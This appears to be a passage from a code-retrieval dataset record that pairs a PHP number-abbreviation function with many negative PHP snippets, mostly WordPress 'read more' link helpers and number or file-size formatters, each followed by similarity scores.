esc_html($cmsmasters_post_read_more) . '</a>';\n\t\n\t\n\tif ($show) {\n\t\techo $out;\n\t} else {\n\t\treturn $out;\n\t}\n}", "public static function the_content_more_link() {\n\t\t\t$cpt = self::get_post_type();\n\n\t\t\tif ( $cpt && $cpt !== 'post' ) {\n\t\t\t\t$title = esc_html( self::option( 'readmore_' . $cpt ) );\n\t\t\t\t$icon = esc_attr( self::option( 'readmore_icon_' . $cpt ) );\n\t\t\t} else {\n\t\t\t\t$title = esc_html( self::option( 'readmore' ) );\n\t\t\t\t$icon = esc_attr( self::option( 'readmore_icon' ) );\n\t\t\t}\n\t\t\t\n\t\t\t$icon = $icon ? '<i class=\"' . $icon . '\"></i>' : '';\n\n\t\t\treturn ( $title || $icon ) ? '<a class=\"cz_readmore' . ( $title ? '' : ' cz_readmore_no_title' ) . ( $icon ? '' : ' cz_readmore_no_icon' ) . '\" href=\"' . esc_url( get_the_permalink( self::$post->ID ) ) . '\">' . $icon . '<span>' . $title . '</span></a>' : '';\n\t\t}", "function excerpt_ellipse($text) {\nreturn str_replace(' [...]', ' &nbsp;<a href=\"'.get_permalink().'\">Read more</a>', $text);\n}", "function pulcherrimum_excerpt_more($link)\n {\n if (is_admin()) {\n return $link;\n }\n\n $link = sprintf(\n '<p class=\"link-more\"><a href=\"%1$s\" class=\"more-link\">%2$s</a></p>',\n esc_url(get_permalink(get_the_ID())),\n /* translators: %s: Post title. */\n sprintf(__('Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>', 'pulcherrimum'), get_the_title(get_the_ID()))\n );\n return ' &hellip; ' . $link;\n }", "function gigx_excerpt_more($more) {\n\treturn '';\n}", "function rw_continue_reading_link( )\n{\n return ' <a href=\"'. get_permalink() . '\" class=\"more-link\">' . __( 'More', 'rotorwash' ) . '</a>';\n}", "function twentyseventeen_excerpt_more( $link ) {\n\tif ( is_admin() ) {\n\t\treturn $link;\n\t}\n\n\t$link = sprintf( '<p class=\"link-more\"><a href=\"%1$s\" class=\"more-link\">%2$s</a></p>',\n\t\tesc_url( get_permalink( get_the_ID() ) ),\n\t\t/* translators: %s: Name of current post */\n\t\tsprintf( __( 'Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )\n\t);\n\treturn ' &hellip; ' . $link;\n}", "function new_excerpt_more( $more ) {\n\treturn '&hellip;';\n/*\n\tif(is_front_page()){\n\treturn '&nbsp;<span class=\"genericon genericon-next\"></span>';\t\t\n\t} else {\n\treturn '&hellip;';\n\t}\n*/\n}", "function twentyten_custom_excerpt_more( $output ) {\n\tif ( has_excerpt() && ! is_attachment() && ! is_admin() ) {\n\t\t$output .= twentyten_continue_reading_link();\n\t}\n\treturn $output;\n}" ]
[ "0.78276145", "0.77252805", "0.77236325", "0.7714855", "0.76896876", "0.76712024", "0.7635406", "0.7576214", "0.75739586", "0.7557456", "0.75446993", "0.7544206", "0.7532166", "0.7524357", "0.75200623", "0.7476775", "0.7469512", "0.7455683", "0.7414783", "0.7393877", "0.73816955", "0.73746604", "0.73734695", "0.73734695", "0.7361212", "0.73079306", "0.7298074", "0.729275", "0.7288726", "0.7285602", "0.72847617", "0.72472364", "0.724462", "0.7242099", "0.72339004", "0.7232013", "0.72268593", "0.7211683", "0.7209118", "0.72048986", "0.71970916", "0.7181169", "0.71725494", "0.71593976", "0.71538365", "0.71472", "0.7140198", "0.71399355", "0.71396977", "0.71324146", "0.7124818", "0.7118276", "0.70949906", "0.7059574", "0.70443654", "0.70403856", "0.7038414", "0.7027037", "0.70216686", "0.7015831", "0.6966623", "0.6962646", "0.6957367", "0.6954306", "0.69434476", "0.6918642", "0.6917118", "0.68998563", "0.689328", "0.6885386", "0.68756056", "0.6807106", "0.6803663", "0.67962205", "0.67892116", "0.6787394", "0.67752975", "0.6771763", "0.67580295", "0.675774", "0.67556995", "0.6748555", "0.6741369", "0.67312545", "0.67231596", "0.6706573", "0.6688024", "0.6682464", "0.6670639", "0.6661853", "0.66588175", "0.66578484", "0.6629684", "0.6628215", "0.6627953", "0.66233265", "0.662137", "0.66192365", "0.66150165", "0.6610618", "0.6610282" ]
0.0
-1
Formats large numbers. Example: 1,234 = 1.2k or 123,456 = 123.4k
function iu_format_number($input){ $suffixes = array('', 'k', 'M', 'B'); $suffixIndex = 0; while(abs($input) >= 1000 && $suffixIndex < sizeof($suffixes)){ $suffixIndex++; $input /= 1000; } return round(floatval($input / pow(10, 0)),1).$suffixes[$suffixIndex]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function dokan_number_format( $number ) {\n $threshold = 10000;\n\n if ( $number > $threshold ) {\n return number_format( $number/1000, 0, '.', '' ) . ' K';\n }\n\n return $number;\n}", "function formatNumber($number)\n {\n $stringLength = strlen($number);\n\n if ($stringLength > 5) {\n return round($number / 1000, 2).'K';\n }\n return $number;\n }", "function number_format_short( $n, $precision = 1 ) {\r\n\tif ($n < 900) {\r\n\t\t// 0 - 900\r\n\t\t$n_format = number_format($n, $precision);\r\n\t\t$suffix = '';\r\n\t} else if ($n < 900000) {\r\n\t\t// 0.9k-850k\r\n\t\t$n_format = number_format($n / 1000, $precision);\r\n\t\t$suffix = 'K';\r\n\t} else if ($n < 900000000) {\r\n\t\t// 0.9m-850m\r\n\t\t$n_format = number_format($n / 1000000, $precision);\r\n\t\t$suffix = 'M';\r\n\t} else if ($n < 900000000000) {\r\n\t\t// 0.9b-850b\r\n\t\t$n_format = number_format($n / 1000000000, $precision);\r\n\t\t$suffix = 'B';\r\n\t} else {\r\n\t\t// 0.9t+\r\n\t\t$n_format = number_format($n / 1000000000000, $precision);\r\n\t\t$suffix = 'T';\r\n\t}\r\n\t// Remove unecessary zeroes after decimal. \"1.0\" -> \"1\"; \"1.00\" -> \"1\"\r\n\t// Intentionally does not affect partials, eg \"1.50\" -> \"1.50\"\r\n\tif ( $precision > 0 ) {\r\n\t\t$dotzero = '.' . str_repeat( '0', $precision );\r\n\t\t$n_format = str_replace( $dotzero, '', $n_format );\r\n\t}\r\n\treturn $n_format . $suffix;\r\n}", "function sizeFormat($size) { \n if($size<1024) \n { \n return $size.\" bytes\"; \n } \n else if($size<(1024*1024)) \n { \n $size=round($size/1024,1); \n return $size.\" KB\"; \n } \n else if($size<(1024*1024*1024)) \n { \n $size=round($size/(1024*1024),1); \n return $size.\" MB\"; \n } \n else \n { \n $size=round($size/(1024*1024*1024),1); \n return $size.\" GB\"; \n } \n}", "function number_format_huge($n)\n {\n if ($n>pow(10, 100)) {\n return round(($n/pow(10, 100)), 1).' googol';\n }\n // I'll add more later\n if ($n>pow(1000, 32)) {\n return round(($n/pow(1000, 32)), 1).' untrigintillion';\n }\n if ($n>pow(1000, 31)) {\n return round(($n/pow(1000, 31)), 1).' trigintillion';\n }\n if ($n>pow(1000, 30)) {\n return round(($n/pow(1000, 30)), 1).' novemvigintillion';\n }\n if ($n>pow(1000, 29)) {\n return round(($n/pow(1000, 29)), 1).' octovigintillion';\n }\n if ($n>pow(1000, 28)) {\n return round(($n/pow(1000, 28)), 1).' septenvigintillion';\n }\n if ($n>pow(1000, 27)) {\n return round(($n/pow(1000, 27)), 1).' sexvigintillion';\n }\n if ($n>pow(1000, 26)) {\n return round(($n/pow(1000, 26)), 1).' quinvigintillion';\n }\n if ($n>pow(1000, 25)) {\n return round(($n/pow(1000, 25)), 1).' quattuorvigintillion';\n }\n if ($n>pow(1000, 24)) {\n return round(($n/pow(1000, 24)), 1).' trevigintillion';\n }\n if ($n>pow(1000, 23)) {\n return round(($n/pow(1000, 23)), 1).' duovigintillion';\n }\n if ($n>pow(1000, 22)) {\n return round(($n/pow(1000, 22)), 1).' unvigintillion';\n }\n if ($n>pow(1000, 21)) {\n return round(($n/pow(1000, 21)), 1).' vigintillion';\n }\n if ($n>pow(1000, 20)) {\n return round(($n/pow(1000, 20)), 1).' novemdecillion';\n }\n if ($n>pow(1000, 19)) {\n return round(($n/pow(1000, 19)), 1).' octodecillion';\n }\n if ($n>pow(1000, 18)) {\n return round(($n/pow(1000, 18)), 1).' septendecillion';\n }\n if ($n>pow(1000, 17)) {\n return round(($n/pow(1000, 17)), 1).' sexdecillion';\n }\n if ($n>pow(1000, 16)) {\n return round(($n/pow(1000, 16)), 1).' quindecillion';\n }\n if ($n>pow(1000, 15)) {\n return round(($n/pow(1000, 15)), 1).' quattuordecillion';\n }\n if ($n>pow(1000, 14)) {\n return round(($n/pow(1000, 14)), 1).' tredecillion';\n }\n if ($n>pow(1000, 13)) {\n return round(($n/pow(1000, 13)), 1).' duodecillion';\n }\n if ($n>pow(1000, 12)) {\n return round(($n/pow(1000, 12)), 1).' undecillion';\n }\n if ($n>pow(1000, 11)) {\n return round(($n/pow(1000, 11)), 1).' decillion';\n }\n if ($n>pow(1000, 10)) {\n return round(($n/pow(1000, 10)), 1).' nonillion';\n }\n if ($n>pow(1000, 9)) {\n return round(($n/pow(1000, 9)), 1).' octillion';\n }\n if ($n>pow(1000, 8)) {\n return round(($n/pow(1000, 8)), 1).' septillion';\n }\n if ($n>pow(1000, 7)) {\n return round(($n/pow(1000, 7)), 1).' sextillion';\n }\n if ($n>pow(1000, 6)) {\n return round(($n/pow(1000, 6)), 1).' quintillion';\n }\n if ($n>pow(1000, 5)) {\n return round(($n/pow(1000, 5)), 1).' quadrillion';\n }\n if ($n>pow(1000, 4)) {\n return round(($n/pow(1000, 4)), 1).' trillion';\n }\n if ($n>pow(1000, 3)) {\n return round(($n/pow(1000, 3)), 1).' billion';\n }\n if ($n>1000000) {\n return round(($n/1000000), 1).' million';\n }\n if ($n>1000) {\n return number_format($n);\n }\n }", "function filesize_formatted($size)\n{\n\t$units = array( 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n\t$power = $size > 0 ? floor(log($size, 1024)) : 0;\n\treturn number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];\n}", "function formatNumberToDisplayInMillions($number, $fullFormat=FALSE)\n{\tif(!is_numeric($number)) return false;\n\n\t// now filter it;\n\tif($number>=1000000000000) return round(($number/1000000000000),0). (($fullFormat)? ' Trillion':' T');\n\telse if($number>=1000000000) return round(($number/1000000000),0).(($fullFormat)? ' Billion':' B');\n\telse if($number>=1000000) return round(($number/1000000),0).(($fullFormat)? ' Million':' M');\n\telse if($number>=1000) return round(($number/1000),0).(($fullFormat)? ' Thousand':' K');\n\n\treturn number_format($number, 0, '.', ',');\n}", "function _files_formatFileSize($size) {\n\t$suffix = '';\n\t\n\t## check if we got a number\n\tif(!is_numeric($size) || $size < 0) {\n\t\treturn 0;\n\t}\n\t\n\t## now determine the 'level'\n\tfor($level = 0; $size >= 1024; $level++) {\n\t\t$size /= 1024;\n\t}\n\t\n\t## now add the suffix\n\tswitch($level) {\n\t\tcase 0: $suffix = 'Bytes'; break;\n\t\tcase 1: $suffix = 'KB'; break;\n\t\tcase 2: $suffix = 'MB'; break;\n\t\tcase 3: $suffix = 'GB'; break;\n\t\tdefault: $suffix = '';\n\t}\n\t\n\treturn round($size,2) . ' '.$suffix;\n}", "function format_megabytes($megabytes)\n{\n if ($megabytes >= 1000) {\n return $megabytes / 1000 . 'GB';\n }\n\n if ($megabytes >= 1000000) {\n return $megabytes / 1000000 . 'TB';\n }\n\n return $megabytes . 'MB';\n}", "function wolf_share_format_number( $n = 0 ) {\n\n\t$s = array( 'K', 'M', 'G', 'T' );\n\t$out = '';\n\twhile ( $n >= 1000 && count( $s ) > 0) {\n\t\t$n = $n / 1000.0;\n\t\t$out = array_shift( $s );\n\t}\n\treturn round( $n, max( 0, 3 - strlen( (int)$n ) ) ) .\" $out\";\n}", "function formatBytes($size, $precision = 2)\n {\n $base = log($size, 1024);\n $suffixes = array('', 'K', 'M', 'G', 'T'); \n\n return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];\n }", "function sizeFormat($b = 0){\r\n\t\tif($b < 1024){\r\n\t\t\treturn $b . 'bytes';\r\n\t\t}elseif($b < 1048576){\r\n\t\t\treturn round($b / 1024 * 100 ) / 100 . 'KB';\r\n\t\t}elseif($b < 130023424){\r\n\t\t\treturn round($b / 1048576 * 100 ) / 100 . 'MB';\r\n\t\t}elseif($b < 133143986176){\r\n\t\t\treturn round($b / 130023424 * 100) / 100 . 'GB';\r\n\t\t}else{\r\n\t\t\treturn round($b / 133143986176 * 100) / 100 . 'TB';\r\n\t\t}\r\n\t}", "function formatMBytes( $bytes, $precision = 2 )\n{\n $units = array('Mb', 'Gb', 'Tb');\n $bytes = max($bytes, 0);\n $pow = floor(($bytes ? log($bytes) : 0) / log(1024));\n $pow = min($pow, count($units) - 1);\n $bytes /= pow(1024, $pow);\n return round($bytes, $precision) . ' ' . $units[$pow];\n}", "function nice_number( $n ) {\n\t$n = (0 + str_replace( ',', '', $n ) );\n\t// is this a number? (o yes, almost certain - but...)\n\tif ( ! is_numeric( $n ) ) return false;\n\t// now filter it;\n\tif ( $n > 1000000000000 ) return round( ($n / 1000000000000), 1 ) . 't';\n\telse if ( $n > 1000000000 ) return round( ($n / 1000000000), 1 ) . 'b';\n\telse if ( $n > 1000000 ) return round( ($n / 1000000), 1 ) . 'm';\n\telse if ( $n > 1000 ) return round( ($n / 1000), 1 ) . 'k';\n\treturn number_format( $n );\n}", "function mgl_instagram_instagram_format_number($number ) {\n // Set divisor divisor and short letter by number\n if( $number < 1000 ) {\n // If number is less than 1000 do nothing\n return $number;\n\n }else if ($number > 1000 && $number < 1000000) {\n // Anything between 1000 and a million\n $divisor = 1000;\n $letter = 'k';\n\n } else if ($number > 1000000 && $number < 1000000000) {\n // Anything between a million and a billion\n $divisor = 1000000;\n $letter = 'm';\n\n } else {\n // Anything greater than a billion\n $divisor = 1000000000;\n $letter = 'G';\n }\n\n // Set a decimal precision to 1\n $precision = 1;\n // Set dec point to ','\n // TODO: translate dec point by language\n $dec_point = ',';\n // Set thousand sep to '.'\n // TODO: translate thousand sep by language\n $thousand_sep = '.';\n // Remove extra decimals. Trick because of number_format below also always round up and causes weird results\n // More information: http://php.net/manual/es/function.number-format.php#88424\n $short_number = bcdiv( ( $number / $divisor ), 1, 1 );\n // Get formatted number\n $n_format = trim(number_format( $short_number, $precision, $dec_point, $thousand_sep), 0 . $dec_point) . $letter;\n\n return $n_format;\n}", "function formatBytes($size, $precision = 1)\n{\n $base = log($size, 1024);\n $suffixes = array('B', 'KB', 'MB', 'GB', 'TB');\n return round(pow(1024, $base - floor($base)), $precision) . ' ' . $suffixes[floor($base)];\n}", "function bd_nice_number($n) {\n // Strip any formatting;\n $n = (0+str_replace(\",\",\"\",$n));\n \n // Check if it's a num\n if(!is_numeric($n)) return false;\n \n // Filter through trillions, billions, and millions\n if($n>1000000000000) return round(($n/1000000000000),2).'T';\n else if($n>1000000000) return round(($n/1000000000),2).'B';\n else if($n>1000000) return round(($n/1000000),2).'M';\n \n return number_format($n);\n}", "function formatBytes($size, $precision = 2)\n {\n if($size != 0){\n $base = log($size, 1024);\n $suffixes = array('kB', 'MB', 'GB', 'TB'); \n return round(pow(1024, $base - floor($base)), $precision) .''. $suffixes[floor($base)];\n }\n return 0;\n }", "function number_format( $price, $decimals = 2 ) {\n return number_format_i18n( floatval($price), $decimals );\n }", "function format_filesize($size)\r\n{\r\n\r\n // Measure & Number of decimals\r\n $measures = array (\r\n 0 => array ( \"B\", 0 ),\r\n 1 => array ( \"KB\", 0 ),\r\n 2 => array ( \"MB\", 0 ),\r\n 3 => array ( \"GB\", 2 ),\r\n 4 => array ( \"TB\", 3 )\r\n );\r\n\r\n $file_size = (double)$size;\r\n\r\n for ( $i = 0; $file_size >= 1024; $i++ )\r\n {\r\n $file_size = (double)$file_size / 1024;\r\n }\r\n\r\n $file_size = number_format ( $file_size, $measures[$i][1] );\r\n\r\n return $file_size.\" \".$measures[$i][0];\r\n}", "public static function numMassFormat($num) {\n\n if($num>1000) {\n\n $x = round($num);\n $x_number_format = number_format($x);\n $x_array = explode(',', $x_number_format);\n $x_parts = array('K', 'M', 'B', 'T');\n $x_count_parts = count($x_array) - 1;\n $x_display = $x_array[0] . ((int) $x_array[1][0] !== 0 ? '.' . $x_array[1][0] : '');\n $x_display .= $x_parts[$x_count_parts - 1];\n\n return $x_display;\n\n }\n\n return $num;\n }", "function prettySize($size)\n{\n $limit = 10 * 1024;\n $mult = 1;\n\n if ($size < ($limit * $mult)) {\n $retSize = $size . \" bytes\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" KiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" MiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" GiB\";\n } else {\n $mult *= 1024;\n $size = round($size / $mult);\n $retSize = $size . \" TiB\";\n }\n }\n }\n }\n return $retSize;\n}", "function formatSize($b)\n\t{\n\t\t//1024\t\tk\n\t\t//1048576\tm\n\t\t//1073741824\tg\n\n\t\tif ($b >= 1073741824)\n\t\t\t$thesize = round($b / 1073741824 * 100) / 100 . \"G\"; \n\t\telseif ($b >= 1048576)\n\t\t\t$thesize = round($b / 1048576 * 100) / 100 . \"MB\";\n\t\telseif ($b >= 1024)\n\t\t\t$thesize = round($b / 1024 * 100) / 100 . \"K\"; \n\t\telse\n\t\t\t$thesize = $b . \"b\";\n\n\t\treturn $thesize;\n\t}", "function num_to_short($num)\n{\n\tif (is_float($num))\n\t\t$num = round($num);\n\t\n\tif ($num >= 1000) {\n\t\t$i = 1000;\n\t\twhile ($num >= $i) {\n\t\t\t$return = ($i/1000). \"K\";\n\t\t\t\n\t\t\tif ($num > $i)\n\t\t\t\t$return .= \"+\";\n\t\t\t\n\t\t\t$i += 1000;\n\t\t}\n\t} else\n\t\t$return = $num;\n\t\n\treturn $return;\n}", "function FormatSizeDisplay($fileSizeInfo, $precision = 2)\n\t{\n\t\t\t// $this->fileSizeDisplay .= $fileSizeInfo.\" (bytes)\" ;\n\t\t// elseif ($fileSizeInfo >= 1024 && $fileSizeInfo < 1<<20)\n\t\t\t// $this->fileSizeDisplay = number_format($fileSizeInfo/1024,2,\".\",\"\").\" (Kb)\";\n\t\t// elseif ($fileSizeInfo >= 1<<20)\n\t\t\t// $this->fileSizeDisplay = number_format($fileSizeInfo/(1<<20),2,\".\",\"\").\" (Mb)\";\n\t\t\t\n\t\tif ($fileSizeInfo < 1000000)\n\t\t\t$fileSizeDisplay = number_format($fileSizeInfo/1000, $precision,\".\",\"\").\" Kb\";\n\t\telse\n\t\t\t$fileSizeDisplay = number_format($fileSizeInfo/1000000, $precision,\".\",\"\").\" Mb\";\n\t\t\t\n\t\treturn $fileSizeDisplay;\n\t}", "function PMA_formatByteDown($value, $limes = 6, $comma = 0)\r\n{\r\n $dh = pow(10, $comma);\r\n $li = pow(10, $limes);\r\n $return_value = $value;\r\n $unit = $byteunits[0];\r\n\t$byteunits = array('Byte', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB');\r\n\t$number_thousands_separator = ',';\r\n\t$number_decimal_separator = '.';\r\n\r\n for ( $d = 6, $ex = 15; $d >= 1; $d--, $ex-=3 ) {\r\n if (isset($byteunits[$d]) && $value >= $li * pow(10, $ex)) {\r\n $value = round($value / ( pow(1024, $d) / $dh) ) /$dh;\r\n $unit = $byteunits[$d];\r\n break 1;\r\n } // end if\r\n } // end for\r\n\r\n if ($unit != $byteunits[0]) {\r\n $return_value = number_format($value, $comma, $number_decimal_separator, $number_thousands_separator);\r\n } else {\r\n $return_value = number_format($value, 0, $number_decimal_separator, $number_thousands_separator);\r\n }\r\n\r\n return array($return_value, $unit);\r\n}", "function format_gigabytes($gigabytes)\n{\n if ($gigabytes >= 1000) {\n return Metric::gigabytes($gigabytes)->format('Tb/');\n } else {\n return Metric::gigabytes($gigabytes)->format('GB/');\n }\n}", "function human_filesize($size, $precision = 2) {\n $units = array('B','kB','MB','GB','TB','PB','EB','ZB','YB');\n $step = 1024;\n $i = 0;\n while (($size / $step) > 0.9) {\n $size = $size / $step;\n $i++;\n }\n return round($size, $precision).$units[$i];\n}", "function format_toSizeInBytes_shortForm($size_in_bytes) {\n\t\t//\n\t\t// Data sizes are normally specified in KB - powers of 1024, so return KB rather than kB\n\n\t\tif ($size_in_bytes < (1024 * 1024)) {\n\t\t\t$unit = \"K\";\n\t\t\t$unitSize = $size_in_bytes / 1024;\n\t\t} else if ($size_in_bytes < (1024 * 1024 * 1024)) {\n\t\t\t$unit = \"M\";\n\t\t\t$unitSize = $size_in_bytes / (1024 * 1024);\n\t\t} else {\n\t\t\t$unit = \"G\";\n\t\t\t$unitSize = $size_in_bytes / (1024 * 1024 * 1024);\n\t\t}\n\n\t\t$showDecimalPlace = $unitSize < 10 && round($unitSize, 1) != round($unitSize);\n\n\t\treturn sprintf($showDecimalPlace ? \"%1.1f\" : \"%1.0f\", $unitSize) . $unit;\n\t}", "function twe_format_filesize($size) {\n\t$a = array(\"B\",\"KB\",\"MB\",\"GB\",\"TB\",\"PB\");\n\t\n\t$pos = 0;\n\twhile ($size >= 1024) {\n\t\t$size /= 1024;\n\t\t$pos++;\n\t}\n\treturn round($size,2).\" \".$a[$pos];\n}", "function format_price($number)\n{\n return number_format($number, 0, '', '&thinsp;');\n}", "public static function formatSize($size)\n {\n if ($size < DRUSH_KILOBYTE) {\n // format_plural() not always available.\n return dt('@count bytes', ['@count' => $size]);\n } else {\n $size /= DRUSH_KILOBYTE; // Convert bytes to kilobytes.\n $units = [\n dt('@size KB', []),\n dt('@size MB', []),\n dt('@size GB', []),\n dt('@size TB', []),\n dt('@size PB', []),\n dt('@size EB', []),\n dt('@size ZB', []),\n dt('@size YB', []),\n ];\n foreach ($units as $unit) {\n if (round($size, 2) >= DRUSH_KILOBYTE) {\n $size /= DRUSH_KILOBYTE;\n } else {\n break;\n }\n }\n return str_replace('@size', round($size, 2), $unit);\n }\n }", "function number_to_human_size($bytes){\n\t$border = 1024 * 1.5;\n\tif ($bytes < $border)\n\t\treturn sprintf('%u Byte', $bytes);\n\t\n\t$bytes /= 1024;\n\tif ($bytes < $border)\n\t\treturn sprintf('%u KiByte', $bytes);\n\t\n\t$bytes /= 1024;\n\treturn sprintf('%.1f MiByte', $bytes);\n}", "public function nice_number($n) {\r\n $n = (0+str_replace(\",\", \"\", $n));\r\n\r\n // is this a number?\r\n if (!is_numeric($n)) return false;\r\n\r\n // now filter it;\r\n if ($n > 1000000000000) return round(($n/1000000000000), 2).' T'; //trillion\r\n elseif ($n > 1000000000) return round(($n/1000000000), 2).' B'; //billion\r\n elseif ($n > 1000000) return round(($n/1000000), 2).' M';//million\r\n elseif ($n > 1000) return round(($n/1000), 2).' TH'; //thousand\r\n\r\n return number_format($n);\r\n}", "function format_scientifique_number($num, $float_sep = \",\", $thouthand_sep = \" \")\r\n\t{\r\n\t\t$float = null;\r\n\t\tif((int)$num != (float)$num ) $float = 2;\r\n\t\treturn number_format($num,$float,$floatsep,$thouthandsep);\r\n\t}", "function filesize_format($filesize) {\r\n\r\n\tif ($filesize >= 1073741824) $string = round($filesize / 1073741824).\" GB\";\r\n\telseif ($filesize >= 1048576) $string = round($filesize / 1048576).\" MB\";\r\n\telseif ($filesize >= 1024) $string = round($filesize / 1024).\" KB\";\r\n\telse $string = \"$filesize bytes\";\r\n\treturn $string;\r\n\t\r\n}", "function bytes_to_human_size($size, $decimals = 1)\n {\n $suffix = array('Bytes','KB','MB','GB','TB','PB','EB','ZB','YB','NB','DB');\n $i = 0;\n\n while ($size >= 1024 && ($i < count($suffix) - 1)) {\n $size /= 1024;\n $i++;\n }\n\n return round($size, $decimals) . ' ' . $suffix[$i];\n }", "function format_bytes ( $size ) {\n\t\tswitch ( $size ) {\n\t\t\tcase $size > 1000000:\n\t\t\t\treturn number_format(ceil($size / 1000000)) . \"mb\";\n\t\t\t\tbreak;\n\t\t\tcase $size > 1000:\n\t\t\t\treturn number_format(ceil($size / 1000)) . \"k\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn number_format($size) . \"b\";\n\t\t\t\tbreak;\n\t\t}\n\t}", "function formatBytes($size) {\n $units = array(' B', ' KB', ' MB', ' GB', ' TB');\n for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;\n return round($size, 2).$units[$i];\n}", "function formatAmountSimply($v,$t=1){\n return number_format($v,2,'.',',');\n}", "function humanNumber($num, $places = 1, $type = 'metric') {\n if ($type == 'metric') {\n $k = 'K';\n $m = 'M';\n } else {\n $k = ' thousand';\n $m = ' million';\n }\n if ($num < 1000) {\n $num_format = number_format($num);\n } elseif ($num < 1000000) {\n $num_format = number_format($num / 1000, $places) . $k;\n } else {\n $num_format = number_format($num / 1000000, $places) . $m;\n }\n\n return $num_format;\n}", "public static function scaleThousandsMillions(string &$format): int\n {\n $scale = 1; // same as no scale\n if (preg_match('/(#|0|\\?)(,+)/', $format, $matches)) {\n $scale = 1000 ** strlen($matches[2]);\n // strip the commas\n $format = self::pregReplace('/([#\\?0]),+/', '${1}', $format);\n }\n\n return $scale;\n }", "function format_bytes($size, $precision = 0)\n {\n $sizes = array(\n 'YB',\n 'ZB',\n 'EB',\n 'PB',\n 'TB',\n 'GB',\n 'MB',\n 'KB',\n 'B'\n );\n $total = count($sizes);\n \n while ($total-- && $size > 1024)\n $size /= 1024;\n return sprintf('%.' . $precision . 'f', $size) . $sizes[$total];\n }", "function format_price($price)\n{\n $price = number_format(ceil($price), 0, \".\", \" \");\n return $price . \" \" . \"₽\";\n}", "public function formatBytes($size, $precision = 2)\n\t{\n\t $base = log($size) / log(1024);\n\t $suffixes = array('', 'k', 'M', 'G', 'T'); \n\n\t return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\n\t}", "function testFormatSize() {\n\t\t$this->assertEquals(\"1000 bytes\", File::format_size(1000));\n\t\t$this->assertEquals(\"1023 bytes\", File::format_size(1023));\n\t\t$this->assertEquals(\"1 KB\", File::format_size(1025));\n\t\t$this->assertEquals(\"9.8 KB\", File::format_size(10000));\n\t\t$this->assertEquals(\"49 KB\", File::format_size(50000));\n\t\t$this->assertEquals(\"977 KB\", File::format_size(1000000));\n\t\t$this->assertEquals(\"1 MB\", File::format_size(1024*1024));\n\t\t$this->assertEquals(\"954 MB\", File::format_size(1000000000));\n\t\t$this->assertEquals(\"1 GB\", File::format_size(1024*1024*1024));\n\t\t$this->assertEquals(\"9.3 GB\", File::format_size(10000000000));\n\t\t// It use any denomination higher than GB. It also doesn't overflow with >32 bit integers\n\t\t$this->assertEquals(\"93132.3 GB\", File::format_size(100000000000000));\n\t}", "public function __invoke($size, $precision = 2)\n {\n if ($size < 1024) {\n return sprintf('%d B', $size);\n }\n\n if (($size / 1024) < 1024) {\n return sprintf('%.0f KB', $size / 1024);\n }\n\n return sprintf('%.' . $precision . 'f MB', $size / 1024 / 1024);\n }", "function number_format($number, $type = _NUM_TYPE)\n\t{\n\t\tswitch ($type) {\n\t\t\tcase \"figure\":\n\t\t\t\treturn XoopsLocaleJalali::Convertnumber2farsi($number);\n\t\t\t\tbreak;\n\t\t\tcase \"word\":\n\t\t\t\treturn ($number > 0) ? self::num2Words($number) : _NUMWORDS_ZERO;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn $number;\n\t\t\t\tbreak;\n\t\t}\t\n\t}", "function price () {\n global $value;\n $pricefloat = ceil($value['price']);\n\n if ($pricefloat <= 999) {\n echo $pricefloat;\n } elseif ($pricefloat >= 1000) {\n $num_format = number_format($pricefloat, 0, '.', ' ');\n echo $num_format . \" &#8381;\";\n }\n }", "public function getFormattedSize($kilobytes) {\n // load translated abbreviations\n global $html_kb, $html_mb, $html_gb;\n\n if ($kilobytes >= 1048576) { //If gigabytes...\n $size = round($kilobytes / 1024 / 1024);\n return $size . ' ' . $html_gb;\n }\n elseif (($kilobytes < 1048576) && ($kilobytes >= 1024)) { //If megabytes...\n $size = round($kilobytes / 1024);\n return $size . ' ' . $html_mb;\n }\n else { //If kilobytes...\n return $kilobytes . ' ' . $html_kb;\n }\n }", "function _parseSize($size)\r\n\t{\r\n\t\tif ($size < 1024) {\r\n\t\t\treturn $size . ' bytes';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif ($size >= 1024 && $size < 1024 * 1024) {\r\n\t\t\t\treturn sprintf('%01.2f', $size / 1024.0) . ' Kb';\r\n\t\t\t} else {\r\n\t\t\t\treturn sprintf('%01.2f', $size / (1024.0 * 1024)) . ' Mb';\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function format($number) {\r\n\t$number = bcdiv($number, 100000000, 8);\r\n\t$point = strpos($number,\".\");\r\n\tif($point != -1) {\r\n\t\t$after = substr($number,$point+1);\r\n\t\t$after = strlen($after);\r\n\t\t$after = 8-$after;\r\n\t\tfor($i=0;$i<$after;$i++) {\r\n\t\t\t$number .= \"0\";\r\n\t\t}\r\n\t} else {\r\n\t\t$number .= \".00000000\";\r\n\t}\r\n\treturn($number);\r\n}", "public static function formatBytes($size, $precision = 2)\r\n {\r\n $base = log($size) / log(1024);\r\n $suffixes = array('', 'k', 'M', 'G', 'T'); \r\n return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)];\r\n }", "function size_format($bytes, $decimals = 0)\n {\n }", "function displayMontant($val) {\n if( $val < 1000 ) return $val;\n $val = $val/1000;\n if( $val < 1000 ) return \"${val} K\";\n $val = $val/1000;\n return \"${val} M\";\n}", "protected function numberFormatter($n) {\r\n $n = (0+str_replace(\",\",\"\",$n));\r\n\r\n // is this a number?\r\n 